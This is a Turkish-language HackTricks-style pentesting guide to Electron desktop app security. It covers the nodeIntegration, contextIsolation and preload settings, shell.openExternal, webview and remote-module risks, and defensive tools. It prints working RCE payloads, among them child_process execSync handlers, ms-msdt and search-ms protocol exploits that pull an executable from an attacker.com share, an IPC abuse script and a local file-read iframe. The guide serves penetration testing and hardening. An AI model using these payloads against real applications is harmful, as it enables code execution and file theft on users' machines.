# Electron Masaüstü Uygulamaları

{{#include ../../../banners/hacktricks-training.md}}

## Giriş

Electron, yerel bir arka uç (**NodeJS**) ve bir ön uç (**Chromium**) birleştirir, ancak modern tarayıcıların bazı güvenlik mekanizmalarından yoksundur.

Genellikle, electron uygulama kodunu bir `.asar` uygulaması içinde bulabilirsiniz, kodu elde etmek için onu çıkarmanız gerekir:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
Electron uygulamasının kaynak kodunda, `packet.json` içinde güvenlik yapılandırmalarının ayarlandığı `main.js` dosyasının belirtildiğini bulabilirsiniz.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron'ın 2 işlem türü vardır:

- Ana İşlem (NodeJS'ye tam erişimi vardır)
- Render İşlemi (güvenlik nedenleriyle NodeJS erişimi kısıtlanmalıdır)

![](<../../../images/image (182).png>)

Bir **render işlemi**, bir dosyayı yükleyen bir tarayıcı penceresi olacaktır:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()

//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
**renderer process** ayarları **main.js** dosyası içinde **main process**'te **yapılandırılabilir**. Bazı yapılandırmalar, **ayarlar doğru bir şekilde yapılandırıldığında** Electron uygulamasının RCE veya diğer güvenlik açıklarını **önlemesine** yardımcı olacaktır.

Electron uygulaması, Node apileri aracılığıyla **cihazı erişebilir**, ancak bunu önlemek için yapılandırılabilir:

- **`nodeIntegration`** - varsayılan olarak `kapalıdır`. Açık olduğunda, renderer process'ten node özelliklerine erişime izin verir.
- **`contextIsolation`** - varsayılan olarak `açıktır`. Kapalı olduğunda, main ve renderer süreçleri izole edilmez.
- **`preload`** - varsayılan olarak boştur.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - varsayılan olarak kapalıdır. NodeJS'in gerçekleştirebileceği eylemleri kısıtlar.
- Workers'da Node Entegrasyonu
- **`nodeIntegrationInSubframes`** - varsayılan olarak kapalıdır.
- Eğer **`nodeIntegration`** **etkinleştirilirse**, bu, Electron uygulaması içinde **iframe'lerde yüklenen** web sayfalarında **Node.js API'lerinin** kullanılmasına izin verir.
- Eğer **`nodeIntegration`** **devre dışı bırakılırsa**, o zaman preloads iframe içinde yüklenecektir.

Yapılandırma örneği:
```javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
```
Bazı **RCE yükleri** [buradan](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />

Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Trafiği Yakala

Başlangıç-ana yapılandırmasını değiştirin ve aşağıdaki gibi bir proxy kullanın:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Yerel Kod Enjeksiyonu

Eğer yerel olarak bir Electron Uygulamasını çalıştırabiliyorsanız, muhtemelen keyfi javascript kodu çalıştırabilirsiniz. Bunu nasıl yapacağınızı kontrol edin:

{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
{{#endref}}

## RCE: XSS + nodeIntegration

Eğer **nodeIntegration** **açık** olarak ayarlandıysa, bir web sayfasının JavaScript'i Node.js özelliklerini kolayca kullanabilir, sadece `require()` çağrısı yaparak. Örneğin, Windows'ta calc uygulamasını çalıştırmanın yolu:
```html
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
```
<figure><img src="../../../images/image (1110).png" alt=""><figcaption></figcaption></figure>

## RCE: preload

Bu ayardaki script, **renderer'daki diğer scriptlerden önce yüklenir**, bu nedenle **Node API'lerine sınırsız erişimi vardır**:
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Bu nedenle, script node-features'ı sayfalara aktarabilir:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
```

```html:index.html
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
```
> [!NOTE] > **Eğer `contextIsolation` açıksa, bu çalışmayacak**

## RCE: XSS + contextIsolation

_**contextIsolation**_ , **web sayfası betikleri ile JavaScript Electron'un iç kodu arasında ayrılmış bağlamlar** tanıtarak her bir kodun JavaScript yürütmesinin birbirini etkilememesini sağlar. Bu, RCE olasılığını ortadan kaldırmak için gerekli bir özelliktir.

Eğer bağlamlar izole edilmemişse, bir saldırgan:

1. **renderer'da keyfi JavaScript çalıştırabilir** (XSS veya harici sitelere yönlendirme)
2. Preload veya Electron iç kodunda kullanılan **yerleşik yöntemi** kendi fonksiyonuna **üst üste yazabilir**
3. **üst üste yazılmış fonksiyonun** kullanılmasını **tetikleyebilir**
4. RCE?

Yerleşik yöntemlerin üst üste yazılabileceği 2 yer vardır: Preload kodunda veya Electron iç kodunda:

{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}

{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}

{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}

### Tıklama olayını atlatma

Bir bağlantıya tıkladığınızda kısıtlamalar uygulanıyorsa, bunları **normal bir sol tıklama yerine orta tıklama yaparak** atlatabilirsiniz.
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal

Bu örnekler hakkında daha fazla bilgi için [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) ve [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) adreslerini kontrol edin.

Bir Electron masaüstü uygulaması dağıtırken, `nodeIntegration` ve `contextIsolation` için doğru ayarların sağlanması çok önemlidir. **İstemci tarafı uzaktan kod yürütme (RCE)**, ön yükleme betikleri veya ana süreçten Electron'un yerel kodunu hedef alarak bu ayarlar ile etkili bir şekilde engellenir.

Bir kullanıcının bağlantılarla etkileşime girmesi veya yeni pencereler açması durumunda, uygulamanın güvenliği ve işlevselliği için kritik olan belirli olay dinleyicileri tetiklenir:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Bu dinleyiciler, **masaüstü uygulaması tarafından** kendi **iş mantığını** uygulamak için **geçersiz kılınır**. Uygulama, yönlendirilmiş bir bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mı açılması gerektiğini değerlendirir. Bu karar genellikle `openInternally` adlı bir fonksiyon aracılığıyla verilir. Eğer bu fonksiyon `false` dönerse, bağlantının harici olarak açılması gerektiğini belirtir ve `shell.openExternal` fonksiyonu kullanılır.

**İşte basitleştirilmiş bir pseudocode:**

![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)

![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)

Electron JS güvenlik en iyi uygulamaları, `openExternal` fonksiyonu ile güvenilmeyen içeriğin kabul edilmemesini önerir, çünkü bu çeşitli protokoller aracılığıyla RCE'ye yol açabilir. İşletim sistemleri, RCE'yi tetikleyebilecek farklı protokolleri destekler. Bu konu hakkında daha ayrıntılı örnekler ve açıklamalar için, bu kaynağa [başvurulabilir](https://positive.security/blog/url-open-rce#windows-10-19042), bu kaynak, bu güvenlik açığını istismar edebilecek Windows protokol örneklerini içermektedir.

macos'ta, `openExternal` fonksiyonu, `shell.openExternal('file:///System/Applications/Calculator.app')` gibi rastgele komutlar çalıştırmak için istismar edilebilir.

**Windows protokol istismarlarına örnekler şunlardır:**
```html
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>

<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>

<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal

Bu zafiyet **[bu raporda](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** bulunabilir.

**webviewTag**, **NodeJS**'in **renderer process** içinde kullanılmasına izin veren **kullanımdan kaldırılmış bir özelliktir**, bu da preload bağlamında bir script yüklenmesine olanak tanıdığı için devre dışı bırakılmalıdır:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Bu nedenle, rastgele bir sayfayı yüklemeyi başaran bir saldırgan, o etiketi kullanarak **rastgele bir ön yükleme betiği** yükleyebilir.

Bu ön yükleme betiği daha sonra **RCE elde etmek için `shell.openExternal`** çağrısı yapan **kırılgan IPC servisini (`skype-new-window`)** çağırmak için istismar edildi:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## İç Dosyaları Okuma: XSS + contextIsolation

**`contextIsolation`'ı devre dışı bırakmak, yerel dosyaları okumak ve dışarı aktarmak için `<webview>` etiketlerinin**, `<iframe>` gibi kullanılmasına olanak tanır. Verilen bir örnek, bu açığı kullanarak iç dosyaların içeriğini okuma yöntemini göstermektedir:

![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)

Ayrıca, **bir iç dosyayı okuma** için başka bir yöntem paylaşılmakta, bir Electron masaüstü uygulamasında kritik bir yerel dosya okuma açığını vurgulamaktadır. Bu, uygulamayı istismar etmek ve verileri dışarı aktarmak için bir script enjekte etmeyi içerir:
```html
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
```
## **RCE: XSS + Eski Chromium**

Eğer uygulamanın kullandığı **chromium** **eski** ise ve üzerinde **bilinen** **zafiyetler** varsa, **bunu istismar etmek ve XSS aracılığıyla RCE elde etmek** mümkün olabilir.\
Bir örneği bu **yazıda** görebilirsiniz: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)

## **XSS Phishing İçin Dahili URL regex atlatma**

Bir XSS bulduğunuzu varsayalım ama **RCE'yi tetikleyemiyorsanız veya dahili dosyaları ç alamıyorsanız**, bunu **kimlik bilgilerini phishing ile çalmak için** kullanmayı deneyebilirsiniz.

Öncelikle, yeni bir URL açmaya çalıştığınızda neler olduğunu, ön uçtaki JS kodunu kontrol ederek bilmeniz gerekir:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)
```
**`openInternally`** çağrısı, **bağlantının** platforma ait bir bağlantı olup olmadığına göre **masaüstü penceresinde** **açılacağını** veya **üçüncü taraf bir kaynak olarak** **tarayıcıda** açılıp açılmayacağını belirleyecektir.

Eğer fonksiyonun kullandığı **regex** **bypass'lere karşı savunmasızsa** (örneğin, **alt alan adlarının noktalarını kaçırmıyorsa**), bir saldırgan XSS'i kötüye kullanarak **kullanıcıdan kimlik bilgileri** talep eden **yeni bir pencere açabilir**:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## `file://` Protokolü

[Belgelerde](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) belirtildiği gibi, **`file://`** üzerinde çalışan sayfalar, makinenizdeki her dosyaya tek taraflı erişime sahiptir, bu da **XSS sorunlarının kullanıcı makinesinden rastgele dosyalar yüklemek için kullanılabileceği** anlamına gelir. **Özel bir protokol** kullanmak, protokolü yalnızca belirli bir dosya setini sunacak şekilde sınırlayabileceğiniz için bu tür sorunları önler.

## Uzaktan modül

Electron Uzaktan modülü, **renderer süreçlerinin ana süreç API'lerine erişmesine** olanak tanır ve bir Electron uygulaması içinde iletişimi kolaylaştırır. Ancak, bu modülün etkinleştirilmesi önemli güvenlik riskleri getirir. Uygulamanın saldırı yüzeyini genişleterek, çapraz site betik saldırıları (XSS) gibi güvenlik açıklarına daha duyarlı hale getirir.

> [!TIP]
> **remote** modülü, ana süreçten renderer süreçlerine bazı API'leri açsa da, yalnızca bileşenleri kötüye kullanarak RCE elde etmek kolay değildir. Ancak, bileşenler hassas bilgileri açığa çıkarabilir.

> [!WARNING]
> Hala uzaktan modülü kullanan birçok uygulama, **renderer sürecinde NodeIntegration'ın etkinleştirilmesini gerektirir**, bu da **büyük bir güvenlik riski** oluşturur.

Electron 14'ten itibaren, Electron'un `remote` modülü, güvenlik ve performans nedenleriyle birkaç adımda etkinleştirilebilir; bu nedenle **kullanılmaması önerilir**.

Etkinleştirmek için, önce **ana süreçte etkinleştirilmesi gerekir**:
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
```
Sonra, render işlemi modülden nesneleri şu şekilde içe aktarabilir:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
**[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**, uzaktan modülden **`app`** nesnesi tarafından sunulan bazı ilginç **fonksiyonları** belirtmektedir:

- **`app.relaunch([options])`**
- Mevcut örneği **kapatarak** uygulamayı **yeniden başlatır** ve yeni bir tane **başlatır**. **Uygulama güncellemeleri** veya önemli **durum değişiklikleri** için faydalıdır.
- **`app.setAppLogsPath([path])`**
- **Uygulama günlüklerini** depolamak için bir dizin **tanımlar** veya **oluşturur**. Günlükler **`app.getPath()`** veya **`app.setPath(pathName, newPath)`** kullanılarak **alınabilir** veya **değiştirilebilir**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- Belirtilen **protokol** için mevcut çalıştırılabilir dosyayı **varsayılan işleyici** olarak **kaydeder**. Gerekirse **özel bir yol** ve **argümanlar** sağlayabilirsiniz.
- **`app.setUserTasks(tasks)`**
- **Görevler** kategorisine **görevler ekler** (Windows'ta). Her görev, uygulamanın nasıl **başlatılacağını** veya hangi **argümanların** geçeceğini kontrol edebilir.
- **`app.importCertificate(options, callback)`**
- Sistemin **sertifika deposuna** bir **PKCS#12 sertifikası** **ithal eder** (sadece Linux). Sonucu işlemek için bir **geri çağırma** kullanılabilir.
- **`app.moveToApplicationsFolder([options])`**
- Uygulamayı **Uygulamalar klasörüne** **taşır** (macOS'ta). Mac kullanıcıları için **standart bir kurulum** sağlamaya yardımcı olur.
- **`app.setJumpList(categories)`**
- **Windows** üzerinde **özel bir Jump List** **ayarlar** veya **kaldırır**. Görevlerin kullanıcıya nasıl görüneceğini düzenlemek için **kategoriler** belirtebilirsiniz.
- **`app.setLoginItemSettings(settings)`**
- **Girişte** hangi **çalıştırılabilir dosyaların** **başlatılacağını** ve bunların **seçeneklerini** **ayarlar** (sadece macOS ve Windows).
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences modülü

Electron'da sistem tercihlerine erişmek ve sistem olaylarını yaymak için **birincil API**. **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** ve **setUserDefault** gibi yöntemler bu modülün **bir parçasıdır**.

**Örnek kullanım:**
```javascript
const { systemPreferences } = require('electron');

// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});

// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**

* **Yerel macOS bildirimlerini** dinler, NSDistributedNotificationCenter kullanarak.
* **macOS Catalina**'dan önce, CFNotificationCenterAddObserver'a **nil** geçirerek **tüm** dağıtılmış bildirimleri dinleyebilirdiniz.
* **Catalina / Big Sur**'dan sonra, sandboxed uygulamalar hala **birçok olaya** (örneğin, **ekran kilitlenmeleri/açılmaları**, **ses montajları**, **ağ etkinliği** vb.) **isimle** bildirim kaydederek **abone** olabilir.

### **getUserDefault / setUserDefault**

* **NSUserDefaults** ile **arayüz** sağlar, bu da macOS'ta **uygulama** veya **küresel** tercihleri saklar.

* **getUserDefault**, **son dosya konumları** veya **kullanıcının coğrafi konumu** gibi hassas bilgileri **alabilir**.

* **setUserDefault**, bu tercihleri **değiştirebilir**, bu da bir uygulamanın **konfigürasyonunu** etkileyebilir.

* **Eski Electron sürümlerinde** (v8.3.0'dan önce), yalnızca NSUserDefaults'un **standart seti** **erişilebilir** idi.

## Shell.showItemInFolder

Bu fonksiyon, verilen dosyayı bir dosya yöneticisinde gösterir, bu da **dosyanın otomatik olarak çalıştırılmasına** neden olabilir.

Daha fazla bilgi için [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) kontrol edin.

## Content Security Policy

Electron uygulamaları, **XSS saldırılarını** **önlemek** için bir **İçerik Güvenlik Politikası (CSP)** bulundurmalıdır. **CSP**, tarayıcıda **güvensiz kodun** **çalıştırılmasını** **önlemeye** yardımcı olan bir **güvenlik standardıdır**.

Genellikle **`main.js`** dosyasında veya **`index.html`** şablonunda CSP'nin bulunduğu bir **meta etiketi** ile **yapılandırılır**.

Daha fazla bilgi için kontrol edin:

{{#ref}}
pentesting-web/content-security-policy-csp-bypass/
{{#endref}}

## **Tools**

- [**Electronegativity**](https://github.com/doyensec/electronegativity) Electron tabanlı uygulamalardaki yanlış yapılandırmaları ve güvenlik anti-patentlerini tanımlamak için bir araçtır.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electronegativity kullanan Electron uygulamaları için açık kaynaklı bir VS Code eklentisidir.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) güvenlik açığı olan üçüncü taraf kütüphaneleri kontrol etmek için
- [**Electro.ng**](https://electro.ng/): Satın almanız gerekiyor

## Labs

[https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) adresinde güvenlik açığı olan Electron uygulamalarını istismar etmek için bir laboratuvar bulabilirsiniz.

Laboratuvarda size yardımcı olacak bazı komutlar:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
```
## **Referanslar**

- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- Electron güvenliği hakkında daha fazla araştırma ve yazı için [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)

{{#include ../../../banners/hacktricks-training.md}}